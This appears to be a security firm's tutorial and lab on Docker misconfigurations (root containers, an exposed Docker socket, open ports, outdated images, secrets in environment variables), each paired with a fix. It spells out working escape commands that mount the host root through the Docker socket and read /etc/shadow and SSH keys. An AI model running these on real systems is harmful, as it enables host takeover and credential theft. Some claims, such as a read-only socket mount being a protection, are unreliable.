Cloud Security: Docker Misconfigurations & Exploitation Lab
1. Introduction
Docker has revolutionized how we deploy applications: lightweight, reproducible, and scalable containers. But just as a poorly configured server can be compromised, a Docker container with security vulnerabilities can expose the entire underlying infrastructure. In 2026, according to cybersecurity trend reports (Fortinet, IBM X-Force), misconfigurations in containers and orchestrators are one of the leading sources of breaches.
In this article we will explore the most common Docker vulnerabilities, with a hands-on lab where we build a vulnerable container and exploit it from inside and outside. We will learn to detect and fix each configuration flaw.
2. Why are containers important in cybersecurity?
A Docker container is an isolated process that shares the host operating system’s kernel. Unlike a virtual machine, it does not include a complete OS: only the dependencies needed to run the application.
This efficiency has a cost: if an attacker escapes the container, they can access the full host. The main reasons containers are vulnerable:
- Images with known vulnerabilities: many official images include outdated libraries.
- Containers running as root: the main process has host administrator privileges.
- Ports exposed to the outside: internal services accessible from the internet.
- Volumes mounted incorrectly: sensitive host directories inside the container.
- Docker Socket exposed: allows controlling the Docker daemon from within the container.
3. Setting up the scenario
We need Docker installed on our local machine:
# Verify Docker installation
docker --version
docker info
# Create a working directory
mkdir ~/docker-lab && cd ~/docker-lab
Fig. 1 – Terminal with Docker installed and verified.
4. Vulnerability #1: Container running as root
By default, many containers run as the root user. If an attacker escapes the container, they get root on the host:
# Create a vulnerable Dockerfile
FROM ubuntu:latest
RUN apt-get update && apt-get install -y curl
COPY app.py /app/app.py
CMD ["python3", "/app/app.py"]
# Build and run (no user specified = root by default)
docker build -t vulnerable-app .
docker run -d --name my-app -p 8080:5000 vulnerable-app
# Enter the container and verify the user
docker exec -it my-app whoami
# Result: root
docker exec -it my-app id
# Result: uid=0(root) gid=0(root)...
Exploitation: from inside the container, read the host’s credential file:
# Escape to host by reading /etc/shadow if mounted
docker exec my-app cat /etc/shadow
# Or execute a command on the host using docker exec with PID 1
docker exec -it --user root my-app sh -c "cat /root/.ssh/id_rsa"
Defense: create a non-root user in the Dockerfile:
FROM ubuntu:latest
RUN useradd -m appuser
USER appuser
CMD ["python3", "/app/app.py"]
5. Vulnerability #2: Exposed Docker Socket
The Docker socket (/var/run/docker.sock) allows controlling the Docker daemon. If a container has access to this socket, it can create new containers with root privileges on the host:
# Run a container with the socket mounted (common vulnerability)
docker run -it --rm -v /var/run/docker.sock:/var/run/docker.sock alpine sh
# Inside the container, create a new container that mounts the host root:
docker run -v /:/host -it alpine chroot /host
# Now we are inside the host from within the container!
cat /etc/shadow
Full exploitation:
# Escape a container with exposed socket:
docker run -it --rm \
-v /var/run/docker.sock:/var/run/docker.sock \
-v $(pwd):/host \
-w /host \
alpine sh -c "apk add docker-cli && docker run -v /:/host -it alpine chroot /host"
# Result: root shell on the host from inside the container
Defense: mount the socket read-only when possible, or use tools like Docker Bench for Security to audit configurations.
6. Vulnerability #3: Unnecessarily exposed ports
When we run -p 8080:5000, we expose internal port 5000 to the outside. If the container has multiple services, many may remain exposed:
# Example: container with Redis (port 6379) and API (port 8080)
docker run -d \
--name my-app \
-p 8080:5000 \
-p 6379:6379 \
vulnerable-app
# From outside, access Redis directly without authentication:
redis-cli -h localhost -p 6379
127.0.0.1:6379> KEYS *
Defense: use internal Docker networks for services that don’t need external access, and expose only necessary ports:
# Create internal network
docker network create internal-net
# Run Redis on the internal network (no exposed port)
docker run -d --name redis --network internal-net redis:alpine
# Run app connected to internal network, exposing only port 8080
docker run -d \
--name my-app \
--network internal-net \
-p 8080:5000 \
vulnerable-app
7. Vulnerability #4: Images with known vulnerabilities
Outdated base images contain libraries with known CVEs:
# Scan an image for vulnerabilities
docker scan vulnerable-app
# Or use Trivy (free and powerful)
trivy image vulnerable-app
# Typical results:
# [HIGH] CVE-2023-XXXX - openssl outdated version
# [MEDIUM] CVE-2024-YYYY - curl outdated version
Defense: use multi-stage images and lightweight bases (Alpine, Distroless):
FROM python:3.12-slim AS builder
RUN pip install --no-cache-dir flask
FROM python:3.12-alpine
COPY --from=builder /usr/local/lib/python3.12/site-packages /usr/local/lib/python3.12/site-packages
COPY app.py /app/app.py
CMD ["python3", "/app/app.py"]
8. Vulnerability #5: Environment variables with secrets
Credentials in environment variables are visible with docker inspect:
# Run container with secrets in ENV
docker run -d \
--name my-app \
-e DB_PASSWORD=supersecret123 \
-e API_KEY=sk-abc123def456 \
vulnerable-app
# View environment variables:
docker inspect my-app | grep -A 5 "Env"
# Result: ["DB_PASSWORD=supersecret123", "API_KEY=sk-abc123def456"]
Defense: use Docker Secrets or mounted environment files as volumes (with 600 permissions):
# Create secret with echo | docker secret create
echo "supersecret123" | docker secret create db_password -
# Mount the secret in the container
docker service create \
--secret db_password \
--name my-app-svc \
vulnerable-app
9. Auditing with Docker Bench for Security
Docker Bench for Security is a script that runs 80+ checks to evaluate the security of a Docker installation:
# Clone and run the benchmark
git clone https://github.com/docker/docker-bench-security.git
cd docker-bench-security
sudo bash docker-bench-security.sh
# Results by category:
# [INFO] 1 - User configuration
# [WARN] 2.5 - Container images (root user detected)
# [PASS] 3.1 - Container networking
# [FAIL] 4.1 - Docker daemon configuration
Fig. 2 – Docker Bench results showing warnings and failures detected.
10. Conclusions
Docker containers offer agility but introduce new attack surfaces. The five vulnerabilities we have covered — root user, exposed Docker socket, unnecessary ports, outdated images, and secrets in ENV — represent the majority of real-world breaches in production.
The correct defense combines: multi-stage images with lightweight bases, non-root execution, automated auditing with Docker Bench, properly managed secrets, and continuous monitoring. At Jaymon Security we help organizations deploy secure containers from development to production.
11. References
- Docker Engine Security Documentation
- Docker Bench for Security
- Trivy — Container Scanner
- CISA: Kubernetes Hardening Guide (2026)
- NIST SP 800-190: Application Container Security Guide
Need help with your security strategy?
At Jaymon Security, we help organizations protect their systems. From security audits to SIEM/SOC implementation, our expert team designs custom solutions.
Contact us for a free infrastructure assessment.



